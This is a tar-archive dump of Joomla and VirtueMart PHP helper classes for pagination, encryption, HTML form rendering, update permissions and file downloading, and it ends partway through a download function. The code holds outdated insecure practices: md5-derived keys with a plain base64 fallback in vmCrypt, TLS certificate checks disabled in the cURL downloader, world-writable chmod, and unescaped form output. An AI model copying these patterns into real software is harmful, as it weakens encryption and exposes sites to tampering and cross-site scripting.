			if(!empty($sequence)){
				$sequenceArray = explode(',', $sequence);
				if(count($sequenceArray>1)){
					foreach($sequenceArray as $items){
						$limits[$items]=JHtml::_('select.option', JRoute::_( $link.'&limit='. $items, false), $items);
					}
				}
			}

			if(empty($limits) or !is_array($limits)){
				if($this->_perRow===1) $this->_perRow = 5;
				$limits[$this->_perRow * 5] = JHtml::_('select.option',JRoute::_( $link.'&limit='. $this->_perRow * 5, false) ,$this->_perRow * 5);
				$limits[$this->_perRow * 10] = JHTML::_('select.option',JRoute::_( $link.'&limit='. $this->_perRow * 10, false) , $this->_perRow * 10 );
				$limits[$this->_perRow * 20] = JHTML::_('select.option',JRoute::_( $link.'&limit='. $this->_perRow * 20, false) , $this->_perRow * 20 );
				$limits[$this->_perRow * 50] = JHTML::_('select.option',JRoute::_( $link.'&limit='. $this->_perRow * 50, false) , $this->_perRow * 50 );
			}
			if(!array_key_exists($this->limit,$limits)){
				$limits[$this->limit] = JHTML::_('select.option', JRoute::_( $link.'&limit='.$this->limit,false),$this->limit);
				ksort($limits);
			}
			$selected= JRoute::_( $link.'&limit='. $selected,false) ;
			$js = 'onchange="window.top.location.href=this.options[this.selectedIndex].value"';

			$html = JHTML::_('select.genericlist',  $limits, '', 'class="inputbox" size="1" '.$js , 'value', 'text', $selected);
		}
		return $html;
	}


}
������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vmcrypt.php�����������������������������������������������������������������������������������������0000666�����������������00000013772�15137212725�0007004 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
defined('JPATH_BASE') or die();
/**
 * virtuemart encrypt class, with some additional behaviours.
 *
 *
 * @package    VirtueMart
 * @subpackage Helpers
 * @author Max Milbers, Valérie Isaksen
 * @copyright Copyright (c) 2014 VirtueMart Team. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 * VirtueMart is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 * See /administrator/components/com_virtuemart/COPYRIGHT.php for copyright notices and details.
 *
 * http://virtuemart.net
 */

class vmCrypt {

	const ENCRYPT_SAFEPATH="keys";

	static function encrypt ($string) {

		$key = self::_getKey ();

		if(function_exists('mcrypt_encrypt')){
			// create a random IV to use with CBC encoding
			$iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_CBC);
			$iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);

			return base64_encode ($iv.mcrypt_encrypt (MCRYPT_RIJNDAEL_256, $key, $string, MCRYPT_MODE_CBC,$iv));
		} else {
			return base64_encode ($string);
		}

	}

	static function decrypt ($string,$date=0) {

		$key = self::_getKey ($date);
		if(!empty($key)){
			$ciphertext_dec = base64_decode($string);
			if(function_exists('mcrypt_encrypt')){
				$iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_CBC);
				// retrieves the IV, iv_size should be created using mcrypt_get_iv_size()
				$iv_dec = substr($ciphertext_dec, 0, $iv_size);
				//retrieves the cipher text (everything except the $iv_size in the front)
				$ciphertext_dec = substr($ciphertext_dec, $iv_size);
				return rtrim (mcrypt_decrypt (MCRYPT_RIJNDAEL_256, $key, $ciphertext_dec, MCRYPT_MODE_CBC, $iv_dec), "\0");
			} else {
				return $ciphertext_dec;
			}

		} else {
			return $string;
		}

	}

	private static function _getKey ($date = 0) {

		$key = self::_checkCreateKeyFile($date);

		return base64_decode ($key);

	}

	private static function _checkCreateKeyFile($date){
		jimport('joomla.filesystem.file');

		vmSetStartTime('check');
		static $existingKeys = false;

		$keyPath = self::_getEncryptSafepath ();

		if(!$existingKeys){
			$dir = opendir($keyPath);
			if(is_resource($dir)){
				$existingKeys = array();
				while(false !== ( $file = readdir($dir)) ) {
					if (( $file != '.' ) && ( $file != '..' )) {
						if ( !is_dir($keyPath .DS. $file)) {
							$ext = Jfile::getExt($file);
							if($ext=='ini' and file_exists($keyPath .DS. $file)){
								$content = parse_ini_file($keyPath .DS. $file);
								if($content and is_array($content) and isset($content['unixtime'])){
									$key = $content['unixtime'];
									unset($content['unixtime']);
									$existingKeys[$key] = $content;
									//vmdebug('Reading '.$keyPath .DS. $file,$content);
								}

							} else {
								vmdebug('Resource says there is file, but does not exists? '.$keyPath .DS. $file);
							}
						} else {
							//vmdebug('Directory in they keyfolder?  '.$keyPath .DS. $file);
						}
					} else {
						//vmdebug('Directory in the keyfolder '.$keyPath .DS. $file);
					}
				}
			} else {
				static $warn = false;
				if(!$warn)vmWarn('Key folder in safepath unaccessible '.$keyPath);
				$warn = true;
			}
		}

		if($existingKeys and is_array($existingKeys) and count($existingKeys)>0){
			ksort($existingKeys);

			if(!empty($date)){
				$key = '';
				foreach($existingKeys as $unixDate=>$values){
					if(($unixDate-30) >= $date ){
						vmdebug('$unixDate '.$unixDate.' >= $date '.$date);
						continue;
					}
					vmdebug('$unixDate < $date');
					//$usedKey = $values;
					$key = $values['key'];
				}

				vmdebug('Use key file ',$key);
				//include($keyPath .DS. $usedKey.'.php');
			} else {
				$usedKey = end($existingKeys);
				$key = $usedKey['key'];
			}
			vmTime('my time','check');
			return $key;
		} else {

			$usedKey = date("ymd");
			$filename = $keyPath . DS . $usedKey . '.ini';
			if (!JFile::exists ($filename)) {

				$token = JUtility::getHash(JUserHelper::genRandomPassword());
				$salt = JUserHelper::getSalt('crypt-md5');
				$hashedToken = md5($token . $salt)  ;
				$key = base64_encode($hashedToken);
				//$options = array('costs'=>VmConfig::get('cryptCost',8));

				/*if(!function_exists('password_hash')){
					require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'password_compat.php');
				}

				if(function_exists('password_hash')){
					$key = password_hash($key, PASSWORD_BCRYPT, $options);
				}*/

				$date = JFactory::getDate();
				$today = $date->toUnix();
				//$key = pack('H*',$key);
				$content = ';<?php die(); */
						[keys]
						key = "'.$key.'"
						unixtime = "'.$today.'"
						date = "'.date("Y-m-d H:i:s").'"
						; */ ?>';
				$result = JFile::write($filename, $content);
				vmTime('my time','check');
				return $key;
			}
		}
		vmTime('my time','check');
		//return pack('H*',$key);
	}

	private static function _getEncryptSafepath () {

		if (!class_exists('ShopFunctions'))
			require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'shopfunctions.php');
		$safePath = ShopFunctions::checkSafePath();
		if (empty($safePath)) {
			return NULL;
		}
		$encryptSafePath = $safePath . self::ENCRYPT_SAFEPATH;
		//echo 'my $encryptSafePath '.$encryptSafePath;
		//if(!JFolder::exists($encryptSafePath)){
			self::createEncryptFolder($encryptSafePath);
		//}
		return $encryptSafePath;
	}

	private static function createEncryptFolder ($folderName) {

		//$folderName = self::_getEncryptSafepath ();

		$exists = JFolder::exists ($folderName);
		if ($exists) {
			return TRUE;
		}
		$created = JFolder::create ($folderName);
		if ($created) {
			return TRUE;
		}
		$uri = JFactory::getURI ();
		$link = $uri->root () . 'administrator/index.php?option=com_virtuemart&view=config';
		VmError (JText::sprintf ('COM_VIRTUEMART_CANNOT_STORE_CONFIG', $folderName, '<a href="' . $link . '">' . $link . '</a>', JText::_ ('COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH')));
		return FALSE;
	}



}������html.php��������������������������������������������������������������������������������������������0000666�����������������00000051704�15137212725�0006241 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * HTML helper class
 *
 * This class was developed to provide some standard HTML functions.
 *
 * @package	VirtueMart
 * @subpackage Helpers
 * @author RickG
 * @copyright Copyright (c) 2004-2008 Soeren Eberhardt-Biermann, 2009 VirtueMart Team. All rights reserved.
 */

// Check to ensure this file is included in Joomla!
defined('_JEXEC') or die();

/**
 * HTML Helper
 *
 * @package VirtueMart
 * @subpackage Helpers
 * @author RickG
 */
class VmHTML{

	/**
	 * Default values for options. Organized by option group.
	 *
	 * @var     array
	 * @since   11.1
	 */
	static protected $_optionDefaults = array(
		'option' => array('option.attr' => null, 'option.disable' => 'disable', 'option.id' => null, 'option.key' => 'value',
			'option.key.toHtml' => true, 'option.label' => null, 'option.label.toHtml' => true, 'option.text' => 'text',
			'option.text.toHtml' => true));

	/**
	 * Converts all special chars to html entities
	 *
	 * @param string $string
	 * @param string $quote_style
	 * @param boolean $only_special_chars Only Convert Some Special Chars ? ( <, >, &, ... )
	 * @return string
	 */
	static function shopMakeHtmlSafe( $string, $quote_style='ENT_QUOTES', $use_entities=false ) {

		if( defined( $quote_style )) {
			$quote_style = constant($quote_style);
		}
		if( $use_entities ) {
			$string = @htmlentities( $string, constant($quote_style), self::vmGetCharset() );
		} else {
			$string = @htmlspecialchars( $string, $quote_style, self::vmGetCharset() );
		}
		return $string;
	}


	/**
	 * Returns the charset string from the global _ISO constant
	 *
	 * @return string UTF-8 by default
	 * @since 1.0.5
	 */
static function vmGetCharset() {
		$iso = explode( '=', @constant('_ISO') );
		if( !empty( $iso[1] )) {
			return $iso[1];
		}
		else {
			return 'UTF-8';
		}
	}

    /**
     * Generate HTML code for a row using VmHTML function
     * works also with shopfunctions, for example
	 * $html .= VmHTML::row (array('ShopFunctions', 'renderShopperGroupList'),
	 * 			'VMCUSTOM_BUYER_GROUP_SHOPPER', $field->shopper_groups, TRUE, 'custom_param['.$row.'][shopper_groups][]', ' ');
	 *
     * @func string  : function to call
     * @label string : Text Label
     * @args array : arguments
     * @return string: HTML code for row table
     */
    static function row($func,$label){
		$VmHTML="VmHTML";
		if (!is_array($func)) {
			$func = array($VmHTML, $func);
		}
		$passedArgs = func_get_args();
		array_shift( $passedArgs );//remove function
		array_shift( $passedArgs );//remove label
			$args = array();
			foreach ($passedArgs as $k => $v) {
			    $args[] = &$passedArgs[$k];
			}
		$lang =JFactory::getLanguage();
		if($lang->hasKey($label.'_TIP')){
			$labelHint = vmText::_($label.'_TIP');
			$label = '<span class="hasTip" title="'.vmText::_($label.'_TIP').'">'.vmText::_($label).'</span>' ;
		} //Fallback
		else if($lang->hasKey($label.'_EXPLAIN')){
			$labelHint = vmText::_($label.'_EXPLAIN');
			$label = '<span class="hasTip" title="'.vmText::_($label.'_EXPLAIN').'">'.vmText::_($label).'</span>' ;
		} else {
			$label = vmText::_($label);
		}

		$html = '
		<tr>
			<td class="key">
				'.$label.'
			</td>
			<td>
				'.call_user_func_array($func, $args).'
			</td>
		</tr>';
		return $html ;
	}
	/* simple value display */
	static function value( $value ){
		$lang =JFactory::getLanguage();
		return $lang->hasKey($value) ? vmText::_($value) : $value;
	}

	/**
	 * The sense is unclear !
	 * @deprecated
	 * @param $value
	 * @return mixed
	 */
	static function raw( $value ){
		return $value;
	}
    /**
     * Generate HTML code for a checkbox
     *
     * @param string Name for the checkbox
     * @param mixed Current value of the checkbox
     * @param mixed Value to assign when checkbox is checked
     * @param mixed Value to assign when checkbox is not checked
     * @return string HTML code for checkbox
     */
    static function checkbox($name, $value, $checkedValue=1, $uncheckedValue=0, $extraAttribs = '', $id = null) {
		if (!$id) $id=$name ;
	if ($value == $checkedValue) {
	    $checked = 'checked="checked"';
	}
	else {
	    $checked = '';
	}
	$htmlcode = '<input type="hidden" name="' . $name . '" value="' . $uncheckedValue . '" />';
	$htmlcode .= '<input '.$extraAttribs.' id="' . $id . '" type="checkbox" name="' . $name . '" value="' . $checkedValue . '" ' . $checked . ' />';
	return $htmlcode;
    }

	/**
	 *
	 * @author Patrick Kohl
	 * @param array $options( value & text)
	 * @param string $name option name
	 * @param string $defaut defaut value
	 * @param string $key option value
	 * @param string $text option text
	 * @param boolean $zero add  a '0' value in the option
	 * return a select list
	 */
	public static function select($name, $options, $default = '0',$attrib = "onchange='submit();'",$key ='value' ,$text ='text', $zero=true, $chosenDropDowns=true,$tranlsate=true){
		if ($zero==true) {
			$option  = array($key =>"0", $text => vmText::_('COM_VIRTUEMART_LIST_EMPTY_OPTION'));
			$options = array_merge(array($option), $options);
		}
		if ($chosenDropDowns) {
			vmJsApi::chosenDropDowns();
			$attrib .= ' class="vm-chzn-select"';
		}
		return VmHTML::genericlist($options,$name,$attrib,$key,$text,$default,false,$tranlsate);
	}

	/**
	 * Generates an HTML selection list.
	 * @author Joomla 2.5.14
	 * @param   array    $data       An array of objects, arrays, or scalars.
	 * @param   string   $name       The value of the HTML name attribute.
	 * @param   mixed    $attribs    Additional HTML attributes for the <select> tag. This
	 *                               can be an array of attributes, or an array of options. Treated as options
	 *                               if it is the last argument passed. Valid options are:
	 *                               Format options, see {@see JHtml::$formatOptions}.
	 *                               Selection options, see {@see JHtmlSelect::options()}.
	 *                               list.attr, string|array: Additional attributes for the select
	 *                               element.
	 *                               id, string: Value to use as the select element id attribute.
	 *                               Defaults to the same as the name.
	 *                               list.select, string|array: Identifies one or more option elements
	 *                               to be selected, based on the option key values.
	 * @param   string   $optKey     The name of the object variable for the option value. If
	 *                               set to null, the index of the value array is used.
	 * @param   string   $optText    The name of the object variable for the option text.
	 * @param   mixed    $selected   The key that is selected (accepts an array or a string).
	 * @param   mixed    $idtag      Value of the field id or null by default
	 * @param   boolean  $translate  True to translate
	 *
	 * @return  string  HTML for the select list.
	 *
	 * @since   11.1
	 */
	public static function genericlist($data, $name, $attribs = null, $optKey = 'value', $optText = 'text', $selected = null, $idtag = false,
									   $translate = false)
	{
		// Set default options
		$options = array_merge(JHtml::$formatOptions, array('format.depth' => 0, 'id' => false));
		if (is_array($attribs) && func_num_args() == 3)
		{
			// Assume we have an options array
			$options = array_merge($options, $attribs);
		}
		else
		{
			// Get options from the parameters
			$options['id'] = $idtag;
			$options['list.attr'] = $attribs;
			$options['list.translate'] = $translate;
			$options['option.key'] = $optKey;
			$options['option.text'] = $optText;
			$options['list.select'] = $selected;
		}
		$attribs = '';
		if (isset($options['list.attr']))
		{
			if (is_array($options['list.attr']))
			{
				$attribs = JArrayHelper::toString($options['list.attr']);
			}
			else
			{
				$attribs = $options['list.attr'];
			}
			if ($attribs != '')
			{
				$attribs = ' ' . $attribs;
			}
		}

		$id = $options['id'] !== false ? $options['id'] : $name;
		$id = str_replace(array('[', ']'), '', $id);

		$baseIndent = str_repeat($options['format.indent'], $options['format.depth']++);
		$html = $baseIndent . '<select' . ($id !== '' ? ' id="' . $id . '"' : '') . ' name="' . $name . '"' . $attribs . '>' . $options['format.eol']
			. self::options($data, $options) . $baseIndent . '</select>' . $options['format.eol'];
		return $html;
	}

	/**
	 * Generates the option tags for an HTML select list (with no select tag
	 * surrounding the options).
	 * @author Joomla 2.5.14
	 * @param   array    $arr        An array of objects, arrays, or values.
	 * @param   mixed    $optKey     If a string, this is the name of the object variable for
	 *                               the option value. If null, the index of the array of objects is used. If
	 *                               an array, this is a set of options, as key/value pairs. Valid options are:
	 *                               -Format options, {@see JHtml::$formatOptions}.
	 *                               -groups: Boolean. If set, looks for keys with the value
	 *                                "&lt;optgroup>" and synthesizes groups from them. Deprecated. Defaults
	 *                                true for backwards compatibility.
	 *                               -list.select: either the value of one selected option or an array
	 *                                of selected options. Default: none.
	 *                               -list.translate: Boolean. If set, text and labels are translated via
	 *                                JText::_(). Default is false.
	 *                               -option.id: The property in each option array to use as the
	 *                                selection id attribute. Defaults to none.
	 *                               -option.key: The property in each option array to use as the
	 *                                selection value. Defaults to "value". If set to null, the index of the
	 *                                option array is used.
	 *                               -option.label: The property in each option array to use as the
	 *                                selection label attribute. Defaults to null (none).
	 *                               -option.text: The property in each option array to use as the
	 *                               displayed text. Defaults to "text". If set to null, the option array is
	 *                               assumed to be a list of displayable scalars.
	 *                               -option.attr: The property in each option array to use for
	 *                                additional selection attributes. Defaults to none.
	 *                               -option.disable: The property that will hold the disabled state.
	 *                                Defaults to "disable".
	 *                               -option.key: The property that will hold the selection value.
	 *                                Defaults to "value".
	 *                               -option.text: The property that will hold the the displayed text.
	 *                               Defaults to "text". If set to null, the option array is assumed to be a
	 *                               list of displayable scalars.
	 * @param   string   $optText    The name of the object variable for the option text.
	 * @param   mixed    $selected   The key that is selected (accepts an array or a string)
	 * @param   boolean  $translate  Translate the option values.
	 *
	 * @return  string  HTML for the select list
	 *
	 * @since   11.1
	 */
	public static function options($arr, $optKey = 'value', $optText = 'text', $selected = null, $translate = false)
	{
		$options = array_merge(
			JHtml::$formatOptions,
			self::$_optionDefaults['option'],
			array('format.depth' => 0, 'groups' => true, 'list.select' => null, 'list.translate' => false)
		);

		if (is_array($optKey))
		{
			// Set default options and overwrite with anything passed in
			$options = array_merge($options, $optKey);
		}
		else
		{
			// Get options from the parameters
			$options['option.key'] = $optKey;
			$options['option.text'] = $optText;
			$options['list.select'] = $selected;
			$options['list.translate'] = $translate;
		}

		$html = '';
		$baseIndent = str_repeat($options['format.indent'], $options['format.depth']);

		foreach ($arr as $elementKey => &$element)
		{
			$attr = '';
			$extra = '';
			$label = '';
			$id = '';
			if (is_array($element))
			{
				$key = $options['option.key'] === null ? $elementKey : $element[$options['option.key']];
				$text = $element[$options['option.text']];
				if (isset($element[$options['option.attr']]))
				{
					$attr = $element[$options['option.attr']];
				}
				if (isset($element[$options['option.id']]))
				{
					$id = $element[$options['option.id']];
				}
				if (isset($element[$options['option.label']]))
				{
					$label = $element[$options['option.label']];
				}
				if (isset($element[$options['option.disable']]) && $element[$options['option.disable']])
				{
					$extra .= ' disabled="disabled"';
				}
			}
			elseif (is_object($element))
			{
				$key = $options['option.key'] === null ? $elementKey : $element->$options['option.key'];
				$text = $element->$options['option.text'];
				if (isset($element->$options['option.attr']))
				{
					$attr = $element->$options['option.attr'];
				}
				if (isset($element->$options['option.id']))
				{
					$id = $element->$options['option.id'];
				}
				if (isset($element->$options['option.label']))
				{
					$label = $element->$options['option.label'];
				}
				if (isset($element->$options['option.disable']) && $element->$options['option.disable'])
				{
					$extra .= ' disabled="disabled"';
				}
			}
			else
			{
				// This is a simple associative array
				$key = $elementKey;
				$text = $element;
			}

			// The use of options that contain optgroup HTML elements was
			// somewhat hacked for J1.5. J1.6 introduces the grouplist() method
			// to handle this better. The old solution is retained through the
			// "groups" option, which defaults true in J1.6, but should be
			// deprecated at some point in the future.

			$key = (string) $key;

			// if no string after hyphen - take hyphen out
			$splitText = explode(' - ', $text, 2);
			$text = $splitText[0];
			if (isset($splitText[1]))
			{
				$text .= ' - ' . $splitText[1];
			}

			if ($options['list.translate'] && !empty($label))
			{
				$label = vmText::_($label);
			}
			if ($options['option.label.toHtml'])
			{
				$label = htmlentities($label);
			}
			if (is_array($attr))
			{
				$attr = JArrayHelper::toString($attr);
			}
			else
			{
				$attr = trim($attr);
			}
			$extra = ($id ? ' id="' . $id . '"' : '') . ($label ? ' label="' . $label . '"' : '') . ($attr ? ' ' . $attr : '') . $extra;
			if (is_array($options['list.select']))
			{
				foreach ($options['list.select'] as $val)
				{
					$key2 = is_object($val) ? $val->$options['option.key'] : $val;
					if ($key == $key2)
					{
						$extra .= ' selected="selected"';
						break;
					}
				}
			}
			elseif ((string) $key == (string) $options['list.select'])
			{
				$extra .= ' selected="selected"';
			}

			if ($options['list.translate'])
			{
				$text = vmText::_($text);
			}

			// Generate the option, encoding as required
			$html .= $baseIndent . '<option value="' . ($options['option.key.toHtml'] ? htmlspecialchars($key, ENT_COMPAT, 'UTF-8') : $key) . '"'
				. $extra . '>';
			$html .= $options['option.text.toHtml'] ? htmlentities(html_entity_decode($text, ENT_COMPAT, 'UTF-8'), ENT_COMPAT, 'UTF-8') : $text;
			$html .= '</option>' . $options['format.eol'];

		}

		return $html;
	}

	/**
	 * Prints an HTML dropdown box named $name using $arr to
	 * load the drop down.  If $value is in $arr, then $value
	 * will be the selected option in the dropdown.
	 * @author gday
	 * @author soeren
	 *
	 * @param string $name The name of the select element
	 * @param string $value The pre-selected value
	 * @param array $arr The array containing $key and $val
	 * @param int $size The size of the select element
	 * @param string $multiple use "multiple=\"multiple\" to have a multiple choice select list
	 * @param string $extra More attributes when needed
	 * @return string HTML drop-down list
	 */
	static function selectList($name, $value, $arrIn, $size=1, $multiple="", $extra="", $data_placeholder='') {

		$html = '';
		if( empty( $arrIn ) ) {
			$arr = array();
		} else {
			if(!is_array($arrIn)){
	        	 $arr=array($arrIn);
	        } else {
	        	 $arr=$arrIn;
	        }
		}
		if (!empty($data_placeholder)) {
			$data_placeholder='data-placeholder="'.vmText::_($data_placeholder).'"';
		}

		$html = '<select class="inputbox" id="'.$name.'" name="'.$name.'" size="'.$size.'" '.$multiple.' '.$extra.' '.$data_placeholder.' >';

		while (list($key, $val) = each($arr)) {
//		foreach ($arr as $key=>$val){
			$selected = "";
			if( is_array( $value )) {
				if( in_array( $key, $value )) {
					$selected = 'selected="selected"';
				}
			}
			else {
				if(strtolower($value) == strtolower($key) ) {
					$selected = 'selected="selected"';
				}
			}

			$html .= '<option value="'.$key.'" '.$selected.'>'.self::shopMakeHtmlSafe($val);
			$html .= '</option>';

		}

		$html .= '</select>';

		return $html;
	}

	/**
	 * Creates a Radio Input List
	 *
	 * @param string $name
	 * @param string $value default value
	 * @param string $arr
	 * @param string $extra
	 * @return string
	 */
	static function radioList($name, $value, &$arr, $extra="", $separator='<br />') {
		$html = '';
		if( empty( $arr ) ) {
			$arr = array();
		}
		$html = '';
		$i = 0;
		foreach($arr as $key => $val) {
			$checked = '';
			if( is_array( $value )) {
				if( in_array( $key, $value )) {
					$checked = 'checked="checked"';
				}
			}
			else {
				if(strtolower($value) == strtolower($key) ) {
					$checked = 'checked="checked"';
				}
			}
			$html .= '<input type="radio" name="'.$name.'" id="'.$name.$i.'" value="'.htmlspecialchars($key, ENT_QUOTES).'" '.$checked.' '.$extra." />\n";
			$html .= '<label for="'.$name.$i++.'">'.$val."</label>".$separator."\n";
		}

		return $html;
	}

	/**
	 * Creates radio List
	 * @param array $radios
	 * @param string $name
	 * @param string $default
	 * @return string
	 */
	static function radio( $name, $radios, $default,$key='value',$text='text') {
		return '<fieldset class="radio">'.JHTML::_('select.radiolist', $radios, $name, '', $key, $text, $default).'</fieldset>';
	}
	/**
	 * Creating rows with boolean list
	 *
	 * @author Patrick Kohl
	 * @param string $label
	 * @param string $name
	 * @param string $value
	 *
	 */
	public static function booleanlist (  $name, $value,$class='class="inputbox"'){
		return '<fieldset class="radio">'.JHTML::_( 'select.booleanlist',  $name , $class , $value).'</fieldset>' ;
	}
		/**
	 * Creating rows with input fields
	 *
	 * @author Patrick Kohl
	 * @param string $text
	 * @param string $name
	 * @param string $value
	 */
	public static function input($name,$value,$class='class="inputbox"',$readonly='',$size='37',$maxlength='255',$more=''){
		return '<input type="text" '.$readonly.' '.$class.' id="'.$name.'" name="'.$name.'" size="'.$size.'" maxlength="'.$maxlength.'" value="'.htmlspecialchars($value).'" />'.$more;
	}

	/**
	 * Creating rows with input fields
	 *
	 * @author Patrick Kohl
	 * @param string $text
	 * @param string $name
	 * @param string $value
	 */
	public static function textarea($name,$value,$class='class="inputbox"',$cols='100',$rows="4"){
		return '<textarea '.$class.' id="'.$name.'" name="'.$name.'" cols="'.$cols.'" rows="'.$rows.'"/>'.$value.'</textarea >';
	}
	/**
	 * render editor code
	 *
	 * @author Patrick Kohl
	 * @param string $text
	 * @param string $name
	 * @param string $value
	 */
	public static function editor($name,$value,$size='100%',$height='300',$hide = array('pagebreak', 'readmore')){
		$editor =JFactory::getEditor();
		return $editor->display($name, $value, $size, $height, null, null ,$hide )  ;
	}


	/**
	 * renders the hidden input
	 * @author Max Milbers
	 */
	public static function inputHidden($values){
		$html='';
		foreach($values as $k=>$v){
			$html .= '<input type="hidden" name="'.$k.'" value="'.$v.'" />';
		}
		return $html;
	}

	/**
	* @author Patrick Kohl
	* @var $type type of regular Expression to validate
	* $type can be I integer, F Float, A date, M, time, T text, L link, U url, P phone
	*@bool $required field is required
	*@Int $min minimum of char
	*@Int $max max of char
	*@var $match original ID field to compare with this such as Email, passsword
	*@ Return $html class for validate javascript
	**/
	public static function validate($type='',$required=true, $min=null,$max=null,$match=null) {

		if ($required) $validTxt = 'required';
		else $validTxt = 'optional';
		if (isset($min)) $validTxt .= ',minSize['.$min.']';
		if (isset($max)) $validTxt .= ',maxSize['.$max.']';
		static $validateID=0 ;
		$validateID++;
		if ($type=='S' ) return 'id="validate'.$validateID.'" class="validate[required,minSize[2],maxSize[255]]"';
		$validate = array ( 'I'=>'onlyNumberSp', 'F'=>'number','D'=>'dateTime','A'=>'date','M'=>'time','T'=>'Text','L'=>'link','U'=>'url','P'=>'phone');
		if (isset ($validate[$type])) $validTxt .= ',custom['.$validate[$type].']';
		$html ='id="validate'.$validateID.'" class="validate['.$validTxt.']"';

		return $html ;
	}

}������������������������������������������������������������joomlaupdate.php������������������������������������������������������������������������������������0000666�����������������00000001570�15137213176�0007756 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_joomlaupdate
 * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// No direct access.
defined('_JEXEC') or die;

/**
 * Joomla! update helper.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_joomlaupdate
 * @since       2.5.4
 */
class JoomlaupdateHelper
{
	/**
	 * Gets a list of the actions that can be performed.
	 *
	 * @return	JObject
	 * 
	 * @since	2.5.4
	 */
	public static function getActions()
	{
		$user	= JFactory::getUser();
		$result	= new JObject;

		$assetName = 'com_joomlaupdate';

		$actions = JAccess::getActions($assetName);

		foreach ($actions as $action)
		{
			$result->set($action->name,	$user->authorise($action->name, $assetName));
		}

		return $result;
	}
}
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/**
 * @package     Joomla.Administrator
 * @subpackage  com_joomlaupdate
 * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// No direct access.
defined('_JEXEC') or die;

/**
 * Smart download helper. Automatically uses cURL or URL fopen() wrappers to
 * fetch the package.
 *
 * @package  Joomla.Administrator
 * @since    2.5.4
 */
class AdmintoolsHelperDownload
{
	/**
	 * Downloads from a URL and saves the result as a local file
	 *
	 * @param   string  $url     The URL to download from
	 * @param   string  $target  The file path to download to
	 *
	 * @return  bool	True on success
	 *
	 * @since   2.5.4
	 */
	public static function download($url, $target)
	{
		// Import Joomla! libraries
		jimport('joomla.filesystem.file');

		$hackPermissions = false;

		// Make sure the target does not exist
		if (JFile::exists($target))
		{
			if (!@unlink($target))
			{
				JFile::delete($target);
			}
		}

		// Try to open the output file for writing
		$fp = @fopen($target, 'wb');
		if ($fp === false)
		{
			// The file can not be opened for writing. Let's try a hack.
			$empty = '';
			if ( JFile::write($target, $empty) )
			{
				if ( self::chmod($target, 511) )
				{
					$fp = @fopen($target, 'wb');
					$hackPermissions = true;
				}
			}
		}

		$result = false;
		if ($fp !== false)
		{
			// First try to download directly to file if $fp !== false
			$adapters = self::getAdapters();
			$result = false;
			while (!empty($adapters) && ($result === false))
			{
				// Run the current download method
				$method = 'get' . strtoupper(array_shift($adapters));
				$result = self::$method($url, $fp);

				// Check if we have a download
				if ($result === true)
				{

					// The download is complete, close the file pointer
					@fclose($fp);

					// If the filesize is not at least 1 byte, we consider it failed.
					clearstatcache();
					$filesize = @filesize($target);
					if ($filesize <= 0)
					{
						$result = false;
						$fp = @fopen($target, 'wb');
					}
				}
			}

			// If we have no download, close the file pointer
			if ($result === false)
			{
				@fclose($fp);
			}
		}

		if ($result === false)
		{

			// Delete the target file if it exists
			if (file_exists($target))
			{
				if ( !@unlink($target) )
				{
					JFile::delete($target);
				}
			}

			// Download and write using JFile::write();
			$result = JFile::write($target, self::downloadAndReturn($url));
		}

		return $result;
	}

	/**
	 * Downloads from a URL and returns the result as a string
	 *
	 * @param   string  $url  The URL to download from
	 *
	 * @return  mixed Result string on success, false on failure
	 *
	 * @since   2.5.4
	 */
	public static function downloadAndReturn($url)
	{
		$adapters = self::getAdapters();
		$result = false;

		while (!empty($adapters) && ($result === false))
		{

			// Run the current download method
			$method = 'get' . strtoupper(array_shift($adapters));
			$result = self::$method($url, null);
		}

		return $result;
	}

	/**
	 * Does the server support PHP's cURL extension?
	 *
	 * @return  bool True if it is supported
	 *
	 * @since   2.5.4
	 */
	private static function hasCURL()
	{
		static $result = null;

		if (is_null($result))
		{
			$result = function_exists('curl_init');
		}

		return $result;
	}

	/**
	 * Downloads the contents of a URL and writes them to disk (if $fp is not null)
	 * or returns them as a string (if $fp is null)
	 *
	 * @param   string    $url       The URL to download from
	 * @param   resource  $fp        The file pointer to download to. Omit to return the contents.
	 * @param   boolean   $nofollow  Should we follow 301/302/307 redirection HTTP headers?
	 *
	 * @return   bool|string False on failure, true on success ($fp not null) or the URL contents (if $fp is null)
	 *
	 * @since   2.5.4
	 */
	private static function &getCURL($url, $fp = null, $nofollow = false)
	{
		$result = false;

		$ch = curl_init($url);

		if ( !@curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1) && !$nofollow )
		{

			// Safe Mode is enabled. We have to fetch the headers and
			// parse any redirections present in there.
			curl_setopt($ch, CURLOPT_AUTOREFERER, true);
			curl_setopt($ch, CURLOPT_FAILONERROR, true);
			curl_setopt($ch, CURLOPT_HEADER, true);
			curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
			curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
			curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
			curl_setopt($ch, CURLOPT_TIMEOUT, 30);

			// Get the headers
			$data = curl_exec($ch);
			curl_close($ch);

			// Init
